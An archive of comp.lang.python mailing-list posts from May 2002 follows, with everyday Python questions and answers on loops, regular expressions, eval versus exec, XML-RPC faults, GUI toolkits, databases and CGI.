<DE8D6EA349AD990E.F3D6EC0A51DBE080.914F0379C35FD6B2@lp.airnews.net> In article <A3CC622F1F200C4E.B094127AFC81DF2B.B06C9B7849374CBE at lp.airnews.net>, I apparently temporized: >In article <abr0dq$fsm$1 at thccy25.nthu.edu.tw>, >Joshua, Y.J. Lai <g893404 at oz.nthu.edu.tw> wrote: . . . >>Thank you for your precise explanation. The problem now I suffer is how can >>I write a new checking loop >>instead of using two FOR LOOPs as nest loop. I am really interested in that. >>I will be very grateful if anyone of you can give me some hints. >> >> > >Please explain the problem again. Are you looking for >an implementation that solves this specific diophantine >problem (perhaps with the coefficients as variables, >with respect to the implementation) while manifesting >only one overt loop, or a general way to express >a program transformation which reduces loop counts for >diophantine problems, or ...? At this point, you have >complete knowledge--that is, a terminating procedure >--about the solutions of the problems; what more can >you want? . . . Mr. Joshua and I have done a little bit privately. I still don't understand the question, and think there might be benefit in doing this back out in public. I believe he's asking either a very hard question, or a very easy one. Here's an answer to the easy one: if we're searching for all (x,y) such that P(x, y), and 0 <= x,y <= 100 for some proposition P(), then we can exhaustively search for x in range(0, 100): for y in range(0, 100): if P(x, y): print "(%s, %s) is a solution." % (x, y) (note that several optimizations are available. I choose this expression for what I hope to be expository clarity). This is what Mr. Joshua has achieved already. He *might* be asking for a generalization which drops the range constraints ('cept that we're still looking for non-negatives?), and asks merely that the program con- tinue until it finds a solution (which can be rearranged as a generator, of course). How can he loop, though? There are plenty of ways to do that; it occurs to me he might like sum = 0 while 1: for x in range (0, sum): y = sum - x if P(x, y): print "(%s, %s) is a solution." % (x, y) sum = sum + 1 (everybody see how nice generators would make this?). It's possible, though, that Mr. Joshua is asking for something like an algorithm to determine upper bounds on solutions, depending on P. That's a very hard problem, at least for today. -- Cameron Laird <Cameron at Lairds.com> Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From jblazi at hotmail.com Thu May 23 06:04:23 2002 From: jblazi at hotmail.com (jb) Date: Thu, 23 May 2002 12:04:23 +0200 Subject: Executing a system command References: <3cec0fa1_1@news2.newsgroups.com> <Xns921728ECCEA7cliechtigmxnet@62.2.16.82> Message-ID: <3cecbc85_6@goliath2.newsgroups.com> Here is what I get at the python prompt: >>> import os >>> os.system('latex klassenarbeit-8c-m-s2.tex') This is TeX, Version 3.14159 (Web2C 7.3.7) (./klassenarbeit-8c-m-s2.tex LaTeX2e <2001/06/01> Babel <v3.7h> and hyphenation patterns for american, french, german, ngerman, n ohyphenation, loaded. ) * The next thing would be to load article.cls, maybe from /usr/share/texmf... and it seems that this does not happen. But I can compile the source from the bash prompt. -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From pcc at ecet.vtc.edu Tue May 7 23:16:08 2002 From: pcc at ecet.vtc.edu (Peter) Date: Tue, 7 May 2002 23:16:08 -0400 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> <mailman.1020741612.29852.python-list@python.org> <yZPB8.5750$m26.112@atlpnn01.usenetserver.com> <m3pu0859s1.fsf@chvatal.cbbrowne.com> Message-ID: <MPG.17426236c3234a9c989681@news.sover.net> In article <m3pu0859s1.fsf at chvatal.cbbrowne.com>, cbbrowne at acm.org says... > And this points back to Leo Brodie's _Thinking Forth_, where the > crucial concept is that coming up with good _names_ for functions is > the most important thing... As someone who teaches programming, I've observed that the students who have a good grasp on what they are doing tend to choose appropriate names for things while the students who are clueless tend to use names like "x", "y", "y2", and so forth. The usual conclusion is that the student who chooses poor names does so because he/she doesn't understand what the program is doing and thus can't think of anything better. Yet I would turn that around and say that if the student worked on coming up with good names it would help clarify the program for him/her. I tell my students this, of course, but it doesn't always help. In any case, I'd love to teach a class using Python. I like Python's elegant regularity. I really like the way it forces the programmer to indent properly (I can't tell you how many rants I've given my students about indentation). Alas, right now we give our students Perl because Perl is seen as a language they are more likely to encounter. Python is currently considered "exotic" in my department... something only a quirky person like me could get into. I will say that the students love Perl... but that's probably because their prior programming experience is all C and C++. :-) Peter From whisper at oz.net Sun May 5 02:39:29 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 4 May 2002 23:39:29 -0700 Subject: Very strange behaviour on Windows In-Reply-To: <3CD4CD65.1CF4BF61@iki.fi> Message-ID: <GCEDKONBLEFPPADDJCOECENHCPAA.whisper@oz.net> Could this be unicode vs. ascii or a code page incompatability? I think unicode is an addon for win98 isn't it? If so, maybe that's what has gotten messed up. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Joonas Paalasmaa > Sent: Saturday, May 04, 2002 23:13 > To: python-list at python.org > Subject: Re: Very strange behaviour on Windows > > > dsavitsk wrote: > > > > As I recall, the Win98 debug cycle begins with uninstall and > continues on to > > reinstall. > > > > -d > > I reistalled Python, but it isn't working. > > > "Joonas Paalasmaa" <joonas.paalasmaa at iki.fi> wrote in message > > news:3CD45340.7C50F9D3 at iki.fi... > > > Chris Gonnerman wrote: > > > > > > > > ----- Original Message ----- > > > > From: "Joonas Paalasmaa" <joonas.paalasmaa at iki.fi> > > > > > > > > > When I invoke the interactive interpreter on Windows, > > > > > Python claims that every line I type is syntactically > > > > > invalid. However, when the interpreter is used to > > > > > start scripts, everything seems to be working quite > > > > > fine. The problem is propably in Windows's command- > > > > > line, but what the problem could be? > > > > > > > > [[ example ellided ]] > > > > > > > > What version of Windows? Has it ever worked before? > > > > > > Windows 98. It worked earlier, but then something weird propably > > > happened and now it isn't working anymore. Could there be a > way to debug > > > the problem deeper and find its cause. > -- > http://mail.python.org/mailman/listinfo/python-list From mlh at vier.idi.ntnu.no Fri May 10 13:35:33 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 10 May 2002 17:35:33 +0000 (UTC) Subject: type(xmlrpclib.Fault.faultCode)... References: <mailman.1021048939.1954.python-list@python.org> Message-ID: <slrnado175.47q.mlh@vier.idi.ntnu.no> In article <mailman.1021048939.1954.python-list at python.org>, Brian Quinlan wrote: > [snip] >The XML-RPC specification says: > >The <methodResponse> could also contain a <fault> which contains a ><value> which is a <struct> containing two elements, one named ><faultCode>, an <int> and one named <faultString>, a <string>. > >So I would say that there is a documentation (and perhaps >implementation) bug for xmlrpclib. At least documentation. The ints were returned correctly from SimpleXMLRPCServer. The documentation say: faultCode: A string indicating the fault type. I guess this is plain wrong, then. [snip] >> If not, is there any interest in a patch that would allow this? Are >> there any suggested workarounds? Am I missing something? > >Yeah, I suck. Surely not ;) >I've already submitted patches to clean my mess though. >You might want to use the SimpleXMLRPCServer.py found here: >http://www.sweetapp.com/xmlrpc/ > >It is the integration of all the proposed 2.3 patches. Thanks for the tip. The new implementation looks like just what I want wrt. Faults here :) >Cheers, >Brian -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From aahz at pythoncraft.com Fri May 10 11:48:59 2002 From: aahz at pythoncraft.com (Aahz) Date: 10 May 2002 11:48:59 -0400 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020697330.27346.python-list@python.org> <3CDAA5A5.D4077E5C@fnal.gov> <3CDB3AB2.12C5680F@cosc.canterbury.ac.nz> <3CDBE586.A81BA732@fnal.gov> Message-ID: <abgq5b$ojj$1@panix2.panix.com> In article <3CDBE586.A81BA732 at fnal.gov>, David J. Ritchie <ritchie at fnal.gov> wrote: > >If so, then a computer language that lets you move blocks of code >around easily is an advantage. With Python, it is clear that you >need to augment the language with a suitably capable editor if you >adopt that composition style. Maybe it's just the beginning of the >indication that one should be composing--not in a text editor at >all--but in a design tool that generates the text--that's sort of what >the popularity of the "visual xxx" things are saying... It's not clear to me, but then I cut my teeth on programming more than twenty years ago. vim's python-mode automatically indents after block constructs, and my preference is actually to not use python-mode. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From joost_jacob at hotmail.com Sun May 26 18:20:42 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 26 May 2002 15:20:42 -0700 Subject: Please help a newbie. References: <B91526DE.55D9%sarmstrong13@mac.com> Message-ID: <13285ea2.0205261420.57a9785f@posting.google.com> SA <sarmstrong13 at mac.com> wrote in message news:<B91526DE.55D9%sarmstrong13 at mac.com>... > I'm trying to learn Python. I was going through the 24 hour book for python > and being new to programming, I got quite confused by the books explanation > on OOP. Does anyone know of some good tutorials on line that explain this > concept and in particular how it relates to Python. > > Thanks. > SA > -- Object-oriented programming is an exceptionally bad idea which could only have originated in California. - Edsger Dijkstra (attributed) But if you still are interested in OOP: http://www.mindview.net/Books/Python/ThinkingInPython.html there are several links and he has written free online books about OOP in general and C++, Java, etc. http://aspn.activestate.com/ASPN/Cookbook/Python?kwd=OOP some advanced OOP hacking :) From look at replyto.address.invalid Thu May 23 00:08:57 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Thu, 23 May 2002 16:08:57 +1200 Subject: OT: off-topic References: <ach37l$4fi$1@newsreader.mailgate.org> Message-ID: <3CEC6B59.3E125BF2@replyto.address.invalid> Mark Hadfield wrote: > > In view of the number of threads labelled OT in this group, perhaps we need > a new group: comp.lang.python.off-topic. Why stop at a Python-specific solution? Off-topic postings are a problem in all newsgroups, so I propose a single group: news.off-topic for all off-topic posts on any subject. The only trouble is that, in that group, off-topic posts would be *on* topic, and therefore not suitable for news.off-topic... excuse me, my brain is about to explode... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From terjej at mailandnews.com Wed May 1 00:21:12 2002 From: terjej at mailandnews.com (Terje Johan Abrahamsen) Date: Tue, 30 Apr 2002 21:21:12 -0700 Subject: Palm Message-ID: <b2rucu4hqo9a7i6olb4fdjq8ujpluil909@4ax.com> Is it possible to make Python programs that run on the Palm OS? Preferably stand alone programs, without a xxx kb interpreter? From whisper at oz.net Fri May 17 16:03:15 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 17 May 2002 13:03:15 -0700 Subject: Bug in regular expressions ? In-Reply-To: <20020517175527.76c55aea.christophe.delord@free.fr> Message-ID: <GCEDKONBLEFPPADDJCOEGECGDDAA.whisper@oz.net> Oops - looking at your example more carefully, I was mistaken about what you asked - sorry. What you're seeing is correct behavior. 'a|aa' will match on the first alternation when it sees 'aa' since it works with the first pattern first and that matches. Greediness comes into play only within a pattern and not across multiple patterns. 'a.*b' should match on the last 'b' of 'aaaaaaaabaaab' and not the first. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Christophe Delord > Sent: Friday, May 17, 2002 8:55 > To: python-list at python.org > Subject: Bug in regular expressions ? > > > > Hi, > > I thought that regular expressions were greedy, so that the > longuest match is returned by match(). > Consider these expressions : 'a|aa', 'aa|a' and 'aa?' > These expressions may match 'a' and 'aa' and should be equivalent. > When applied on 'aa', match only sees the first 'a' when using > the first regular expression ('a|aa'). > > >>> import re > >>> p=re.compile('a|aa') > >>> p.match('aa').span() > (0, 1) <- 'aa' (2 chars) should have be > matched ??? > >>> p=re.compile('aa|a') > >>> p.match('aa').span() > (0, 2) <- ok, two characters have been matched > >>> p=re.compile('aa?') > >>> p.match('aa').span() > (0, 2) <- ok > >>> > > So A|B and B|A are not always equivalent. When A and B match, B > is ignored even if the matched text is longer. > Is this a bug in the re module? > Is there a way to tell re to be "totaly greedy"? > > Thanks, > > -- > Christophe Delord > http://christophe.delord.free.fr/ > -- > http://mail.python.org/mailman/listinfo/python-list From aleax at aleax.it Thu May 2 06:22:23 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 10:22:23 GMT Subject: duh - which Python? References: <3CD05FA9.458E76C@earth.ox.ac.uk> Message-ID: <zr8A8.38609$8D3.1136841@news1.tin.it> Nick Belshaw wrote: > Hi - I would be very grateful for a little advice. > > I am configuring a new Linux RedHat7.2 box and have become > confused about which Python vesion I should go for. > > I need it to run with Zope, Pmw, Blt, Postgres - at least...... > > I have been using old stuff with 1.5.2 but thought an upgrade would be > 'fun' Fun AND worthwhile, but DON'T uninstall 1.5.2 itself -- RedHat has some stuff that depends on it specifically, I hear (not an issue for other Linux distros, just a RH-specific one). Can't help you with Zope (I believe it needs 2.1.* currently) nor Pmw/Blt. Postgres (with psycopg) seems fine under 2.1.* or 2.2.* just as well. Alex From peter at engcorp.com Mon May 27 19:35:34 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 27 May 2002 19:35:34 -0400 Subject: Getting XML module to work in windows. References: <MPG.175c281f534ac6b4989681@netnews.attbi.com> <3CF2C00C.AAF03BD6@engcorp.com> Message-ID: <3CF2C2C6.D86D8D3C@engcorp.com> Peter Hansen wrote: > > joel jensen wrote: > > > > C:\Documents and Settings\joel\Desktop\test>xml.py > > Traceback (most recent call last): > > File "C:\Documents and Settings\joel\Desktop\test\xml.py", line 1, in > > ? > > from xml.sax import saxutils > > File "C:\Documents and Settings\joel\Desktop\test\xml.py", line 1, in > ^^^^^^^^ > > ? > > from xml.sax import saxutils > > ImportError: No module named sax > > Don't name your own module "xml.py". It is hiding the real > xml package in the Python installation.... Oh, and when you remove it, make sure you delete the xml.pyc file that's still hanging around, if any.... this disabled my own environment for a few minutes until I figured it out. :) -Peter From uwe at rocksport.de Fri May 10 08:39:15 2002 From: uwe at rocksport.de (Uwe Schmitt) Date: 10 May 2002 12:39:15 GMT Subject: Which GUI Library to Use References: <mailman.1020999258.4125.python-list@python.org> Message-ID: <abgf1j$bntgm$2@hades.rz.uni-sb.de> A. Keyton Weissinger <lists at weissinger.org> wrote: | D) wxPython Hi, I use wxPython, because it's look and feel is quite near to the Win look and feel, which has the effect that software using wxPython is well accepted by "low-level"-users... I had a look at Qt and looks quite interesting. Greetings, Uwe -- Dr. rer. nat. Uwe Schmitt ICQ# 159647634 Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 From jrandom at mddd.com Wed May 1 21:59:11 2002 From: jrandom at mddd.com (J. Random Hacker) Date: Wed, 01 May 2002 21:59:11 -0400 Subject: CGI and client's IP? References: <1a6qcuc92l8ac0tcegqj95fqemdctda21v@4ax.com> Message-ID: <221A8.34772$Au5.18526@atlpnn01.usenetserver.com> On Mon, 29 Apr 2002 05:58:56 -0400, Fernando Rodr?guez wrote: > Can I get the client's IP froma a cgi script? O:-) > > TIA > > > > > > > > ----------------------- > Fernando Rodriguez You can get the REMOTE_ADDR environment value. The only thing you can do with this though is put it in a log. Don't try to use it as a session identifier, because if you get two people behind the same firewall or NAT box using your CGI scripts you will have the same IP for two different users/sessions. J From peter at engcorp.com Mon May 13 00:09:01 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 May 2002 00:09:01 -0400 Subject: which db should I use? References: <mtanba.i1f.ln@127.0.0.1> Message-ID: <3CDF3C5D.78B73EE0@engcorp.com> Jim Richardson wrote: > > I have a project that I want to do with python. It involves a database It's unclear even after your description why you want to use a relational database. Is it simply because that's part of the learning experience you've set for yourself, or are there particular performance requirements or a need for relational operations? > table with some 100,000 rows, total size about 400MB and climbing. I > will be adding about 700 rows a day, and occasionally want to do a > query, but only occasionally. (I am putting all the posts from an active > newsgroup in to a db for data gathering, Why not just store them as files in the file system? > and to learn python and sql stuff) Well, okay, if it's just to learn SQL. But you might find better types of data for that purpose. Just my thoughts on the matter... -Peter From uwe at rocksport.de Wed May 29 10:31:37 2002 From: uwe at rocksport.de (Uwe Schmitt) Date: 29 May 2002 14:31:37 GMT Subject: windows-python-question Message-ID: <ad2oo9$d55fq$1@hades.rz.uni-sb.de> Hi, I'd like to write a python-program which is startet under Win when a file with an apropriate extension ('.rnt' for example) is double-klicked. How does my python-program know which file was clicked so that my program can load it ??? Greetings, Uwe. -- Dr. rer. nat. Uwe Schmitt ICQ# 159647634 Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 From mgilfix at eecs.tufts.edu Mon May 6 01:15:42 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Mon, 6 May 2002 01:15:42 -0400 Subject: Stripped down python In-Reply-To: <m3g016b5u2.fsf@mira.informatik.hu-berlin.de>; from martin@v.loewis.de on Mon, May 06, 2002 at 12:14:13AM +0200 References: <mailman.1020630428.6731.python-list@python.org> <m3g016b5u2.fsf@mira.informatik.hu-berlin.de> Message-ID: <20020506011542.A3743@eecs.tufts.edu> That's a shame. I think it would have met my needs somewhat. Was the patch mostly targeted at the build process or code hacks as well? On Mon, May 06 @ 00:14, Martin v. Loewis wrote: > > I think someone had a thread going a while back on this but I can't > > find it in the archive or in any searches. Has anyone done any work on > > creating a stripped down version of python: essentially, I want all > > the core functionality of python (parser, compiler, and core objects) > > without any of the library functionality. I'm also interested in > > eliminating as many external dependencies of the interpreter so I can > > embed just the core language and not worry any external issues. > > There was a port at one time called "Deeply Embedded Python"; this > appears to have disappeared. > > Regards, > Martin > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (martin) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From whisper at oz.net Mon May 20 15:16:32 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 20 May 2002 12:16:32 -0700 Subject: multithreading In-Reply-To: <3CE92CB9.64943F1F@engcorp.com> Message-ID: <GCEDKONBLEFPPADDJCOEIEJMDDAA.whisper@oz.net> Lock, Semaphore and friends mentioned in the pythondoc (2.2.1) aren't atomic? If not, then they're misnamed since atomicity is a required property of such operations. David LeBlanc Seattle, WA USA <snip> > Nothing is atomic except sending messages to a Queue. At least, > if you start > with that premise you probably can't go wrong... <snip> > > -Peter > -- > http://mail.python.org/mailman/listinfo/python-list From tim.one at comcast.net Thu May 23 14:22:27 2002 From: tim.one at comcast.net (Tim Peters) Date: Thu, 23 May 2002 14:22:27 -0400 Subject: 2**HUGENUMBER Why not optimise it? In-Reply-To: <3CECAB33.7010104@tismer.com> Message-ID: <BIEJKCLHCIOIHAGOKOLHAEMPDCAA.tim.one@comcast.net> [Mike C. Fletcher] > Oh. Sigh. > > Maybe I'll just give up on trying to interest people in Python > optimisation challenges. The good-old days of idle speculation and > optimisation are dead. Time to stop living in the past. Idea dropped, > back to boring GUI work. Ya, but "optimizing" 2**N to a shift is like, instead of trying to speed flattening of arbitrary nested sequences, trying to speed flattening of a list nested no more than 3 deep, whose first element is a non-nested tuple, there are no more than 4 elements in all, and the last list element is an int. Face it: it's boring <wink>. [Christian Tismer] > Don't say such sad words. > Nothing is dead but maybe some of our expectations. > Python was never eager to adopt new features (which > is good), but putting ideas down this short wasn't > usual, too. It's truly trivial for a user to a write a shift themself, and long-int pow is almost always used in real life in its 3-argument form, where this optimization doesn't apply (except to waste cycles determining that it's of no use). Now you know perfectly well that it's possible to write a simple pow() in Python that runs faster than the current C version in *many* cases -- that's a lot more interesting. [Michael Hudson] > Do you feel like implementing Karatsuba multiplication in > longobject.c? That might actually be some use... [back to Christian] > Although this was on the table two or three years > ago, and dissed as well, although cheap to implement. I don't recall it being dissed. I do recall that nobody cared enough at the time to write a patch to do it. Hell, we still don't have a reasonable, cheap way to determine the number of significant bits in a long, although for 2.2 math.log and math.log10 were generalized to work on arbitrary longs, and math.log(n)/math.log(2) is a darned good guess now. >>> x = 1L << 1000000 >>> import math >>> math.log(x) 693147.18055994529 >>> _/math.log(2) 1000000.0 >>> you-can't-change-history-when-a-bot-is-watching<wink>-ly y'rs - tim From aleax at aleax.it Thu May 2 05:58:24 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 09:58:24 GMT Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> <mailman.1020295743.8076.python-list@python.org> Message-ID: <458A8.88977$vF6.2639074@news2.tin.it> Fran?ois Pinard wrote: > [Patrick W] > >> IMHO, the best choices for starters are: >> * One of [C, C++] >> * One of [Python, Perl, Python, Ruby, Python, Tcl, Python] >> * Something that encourages a different style of thinking. [Lisp] >> * Whatever else turns you on. > > Excellent advice and analysis, congratulations! > > I guess programmers should all get acquainted in their life with some > non-procedural language. As some people are not inclined toward inference > engines :-), one could aim languages like `SQL', non-procedural enough! SQL is indeed a great choice, since it is both an entirely different paradigm *AND* a language of huge practical and economic importance. I'd just strongly suggest doing it RIGHT, i.e., studying SQL itself, NOT some weird dialect (unfortunately many popular sort-of-SQL engines do offer weird dialects -- e.g., no nested SELECT in MySQL...). > `Lisp' (my preferred one is `Scheme', yet some people take offence when > `Scheme' is presented as a `Lisp') encourages a different style of > thinking, but still, it is an imperative, procedural language, like `C' > and `Python'. Right! For Functional Programming, I'd suggest Haskell, though others will prefer some variants of ML or something more weird and exciting yet (Erlang, Oz/Mozart, ...?). Alex From a.schmolck at gmx.net Mon May 27 10:13:04 2002 From: a.schmolck at gmx.net (Alexander Schmolck) Date: 27 May 2002 15:13:04 +0100 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> Message-ID: <yfsadql4r2n.fsf@black132.ex.ac.uk> Simon Budig <Simon.Budig at unix-ag.org> writes: > Hi. > > I currently have problems to let code inside strings execute as I want > to have it. Especially the difference between "eval" and "exec" > (resp. compiling as 'eval' or as 'single') makes me headache. > I want to execute things like the three following strings: > > "a = 2" ---> returns nothing > "3 * 4" ---> returns 12 > "a=2; b=3; a*b" ---> returns 6 The distiction is quite simple: use eval for expressions and exec for everything else. That of course only works if you know what qualifies as an expression in python :) Maybe this helps: an expression is something that returns a value, so anything you can write on the right side of an '=' is an expression (unless it already has an "=" in it) and everything you can't isn't. So only example 2 above is an expression. If you have an expression, use eval, else use exec, which will execute arbitrary code in the dictionary you specify with "in" (default globals, but I'd never use that). This will work fine for case 2: result = eval("3 * 4") for the other cases a not completely horrible way to do it is: namespace = {} exec "a=2; b=3; result=a*b" in namespace result = namespace["result"] or even better, depending on how much control you have over the strings do: result = eval("a*b", {"a" : 2, "b" : 3}) Of course using eval or exec is usually not a good idea, because it creates a huge security risk -- A better approach would be to parse the expression or at least make sure it only contains harmless things before you exec/eval it. BTW: this > except: is almost always a bad idea. You should explicitly test for the Errors you are expecting like so: except SyntaxError: because otherwise bugs you didn't expect might go unnoticed. HTH alex From aahz at pythoncraft.com Thu May 9 20:03:24 2002 From: aahz at pythoncraft.com (Aahz) Date: 9 May 2002 20:03:24 -0400 Subject: Python stagnating? References: <b62b39cb.0205090942.19eb2bfe@posting.google.com> <b03e80d.0205091404.5b33a459@posting.google.com> <Xns92099FEFCC215chrislak@209.249.90.101> Message-ID: <abf2oc$lj9$1@panix1.panix.com> In article <Xns92099FEFCC215chrislak at 209.249.90.101>, Chris <chrisl_ak at hotmail.com> wrote: > >What would be really nice is an easily searchable, online manual. As a user >I really like the approach taken by the PHP manual, which integrates easy >searching, an auto search on the URL, and user comments all in one place. >Time to start digging around! There are two links on the Python docs page to search engines for the Python docs. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From phr-n2002a at nightsong.com Mon May 6 06:10:44 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 06 May 2002 03:10:44 -0700 Subject: Python SHA-based encryption function, new version References: <7xu1pmxkco.fsf@ruckus.brouhaha.com> <7xbsbt643m.fsf@ruckus.brouhaha.com> Message-ID: <7x1ycpwpqz.fsf@ruckus.brouhaha.com> Paul Rubin <phr-n2002a at nightsong.com> writes: > The current version (revision 1.13) is still considered an eval/test > version and still has a date check. Doh. I botched this upload and a few people retrieved the file before I fixed it. If you're one of them, please try again. I'm sorry about the false starts. At least the revision that was up there (1.13) failed immediately on loading rather than giving insecure results silently. Revision 1.15 is now up and has the correct fix. It also portably incorporates the process ID into the nonce, on systems that support os.getpid; Unix and Windows are among these. Thanks to Alex Martelli for this suggestion. There are probably still bizarre conditions under which you can re-use a nonce even on those systems, but you'll have to work pretty hard at it now. The URL again is <http://www.nightsong.com/phr/crypto/p2.py>. From robin at execulink.com Sat May 11 13:44:46 2002 From: robin at execulink.com (robin at execulink.com) Date: Sat, 11 May 2002 13:44:46 -0400 Subject: HTTP or alternative upload for large files References: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> <Pine.LNX.4.44.0205070828420.3987-100000@ns0.tbye.com> <mailman.1020785414.16887.python-list@python.org> Message-ID: <13mqduo7a0g78oqa8sauj9mv3739g41f63@4ax.com> holger krekel <pyth at devel.trillke.net> wrote: >In Apache you can define ProxyPass (use google) to pass >certain parts of your URL-namespace to a different >server/port (even remote). There sits your python-server >and dispataches to your cgi-script. This way you can >leave the CGI-binaries at the same place, have minimal modification >of the apache-configuration and full (python) control over your uploads. This appears to be the most promising solution. Thanks. -- robin